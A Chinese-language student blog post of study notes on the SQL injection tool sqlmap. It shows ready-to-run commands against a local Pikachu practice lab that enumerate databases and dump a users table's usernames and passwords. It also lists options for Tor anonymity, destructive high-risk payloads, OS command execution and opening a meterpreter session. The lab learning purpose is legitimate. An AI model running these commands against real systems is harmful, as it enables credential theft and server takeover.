Sqlmap 随记

sqlmap安装

linux环境下键入命令 apt install sqlmap
在这里插入图片描述老师说,如果遇到如图问题,把文件删掉重新安装就好了;但是呢,按照这个方式我没有解决掉。
那就重新安装sqlmap和依赖库吧:
在这里插入图片描述按照提示,先更新一下apt工具 apt-get update
在这里插入图片描述工具更新完再安装sqlmap
在这里插入图片描述安装完就能成功进入sqlmap了
在这里插入图片描述

sqlmap简单爆破

1.判断注入点 sqlmap -u "url"

GET请求

sqlmap -u "http://192.168.181.1/pikachu-master/vul/sqli/sqli_str.php?name=aaaa&submit=%E6%9F%A5%E8%AF%A2"
在这里插入图片描述

POST请求

一般post方式请求,在抓包中数据位于下方
在这里插入图片描述sqlmap -u "http://192.168.181.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=3&submit=%E6%9F%A5%E8%AF%A2"
在这里插入图片描述在这里插入图片描述

2.爆破数据库名字 sqlmap -u "url" --dbs

在这里插入图片描述sqlmap -u "http://192.168.181.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=3&submit=%E6%9F%A5%E8%AF%A2" --dbs
在这里插入图片描述

3.爆破表名 sqlmap -u "url" --D "当前数据库名" --tables

参数说明:-D是指定数据库名称。
在这里插入图片描述sqlmap -u "http://192.168.181.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=3&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" --tables
在这里插入图片描述

4.爆破字段名 sqlmap -u "url" --D "当前数据库名" -T "选取一张表" --columns

在这里插入图片描述sqlmap -u "http://192.168.181.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=3&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "users" --columns
在这里插入图片描述

5.爆破字段 sqlmap -u "url" --D "当前数据库名" -T "选取一张表" -C "当前表的字段" --dump

在这里插入图片描述sqlmap -u "http://192.168.181.1/pikachu-master/vul/sqli/sqli_id.php" --data="id=3&submit=%E6%9F%A5%E8%AF%A2" -D "pikachu" -T "users" -C "username,password" --dump
在这里插入图片描述

sqlmap参数说明

  1. 目标指定类参数
    (1)-d “DBMS:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME” 直接链接数据库
    (2)-u 指定url
    (3)-l <.log文件> 从log文件中解析目标
    (4)-m <文本文件> 从文件中解析目标(日志文件指http请求的日志文件,会自带cookie)
    (5)-g <搜索内容> 以google搜索结果作为目标,注意搜索内容中引号要注意转义

  2. 请求、认证类参数(post重点内容)
    (1)–method=<http方法> 指定使用的http方法
    (2)–data=<post数据> 提交post数据并对post数据进行测试
    (3)–param-del=<分隔符> 指定参数的分隔符
    (4)–cookie <cookie键值对> 添加cookie http请求头(当–level不小于2时,sqlmap会对cookie头检测是否可以注入)
    (5)–headers <http请求头字段和字段值> 添加http请求头,不同的头使用“\n”分隔
    (6)–auth-type、–auth-cred 指定认证方式并指定使用的凭证
    (7)–auth-file 指定使用的证书文件

  3. 优化类参数
    (1)–keep-alive 使用http长连接,该参数与“–proxy”参数矛盾
    (2)–null-connection 只获取http响应的长度(大小)而不获取真正的响应体,可以节约布尔型盲注使用的带宽
    (3)– threads= 设定线程数
    (4)-o 相当于同时设定以上三个参数

  4. 注入功能类参数
    (1)-p <参数列表> 指定要测试的参数不同的参数使用逗号分隔
    (2)–skip=<参数列表> 指定哪些参数不测试,不同参数使用逗号分隔
    (3)* 指出为静态网页的参数位置,如“/id/1*/”
    (4)–dbms <数据库类型> 指定数据库类型 一般不要
    (5)–prefix <前缀> 指定payload的前缀和后缀

  5. 用于sql注入漏洞利用的参数
    5.1 获取数据库内容的常用命令
    (1)-b/–banner 获取数据库版本
    (2)-current-user 显示当前数据库用户名
    (3)–is-dba 判断当前用户是否为管理员用户
    (4)–dbs 列出数据库系统的所有数据库

    5.2 获取数据库内容
    (1)–dbs 爆库
    -D 用数据库
    (2)–tables/–exclude-sysdbs/-D 爆表
    (3)–columns/-C/-T/-D 爆字段
    (4)–dump/-C/-T/-D/–start/–stop/–first/–last 爆内容

  6. 其他重要参数
    (1)–proxy、–proxy-cred、–proxy-file和–ignore-proxy 关于代理的参数
    (2)–tor、–tor-type、–tor-port和–check-tor(所有流量经过tor) 关于tor匿名网络的参数
    (3)–risk 指定风险等级,告诉sqlmap是否要使用高风险的payload(删库改库)
    (4)–level 指定检测等级,告诉sqlmap检测的范围有多大,*该参数比较笼统,可以用-p替代他
    (5)–technique 指定要使用的注入技术,默认情况下sqlmap会使用所有sql注入技术
    (6)–common-tables和–common-columns 暴力破解表名和列名

sqlmap应用流程小结

  1. 检测sql注入漏洞的存在
    sqlmap -m <文件> –level <数字> –risk <数字>……

  2. 使用sqlmap获取数据
    (1)–dbs 爆库
    -D 用数据库
    (2)–tables 爆表
    -T 用表
    (3)–columns
    (4)–dump(注意指定库)

    –dump -all 脱库

  3. 使用sqlmap执行系统命令
    (1)–os-cmd <命令>
    (2)–os-pwn –msf-path <路径>——开启一个meterpreter session
    (仅限mysql、postgersql、mssql)

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值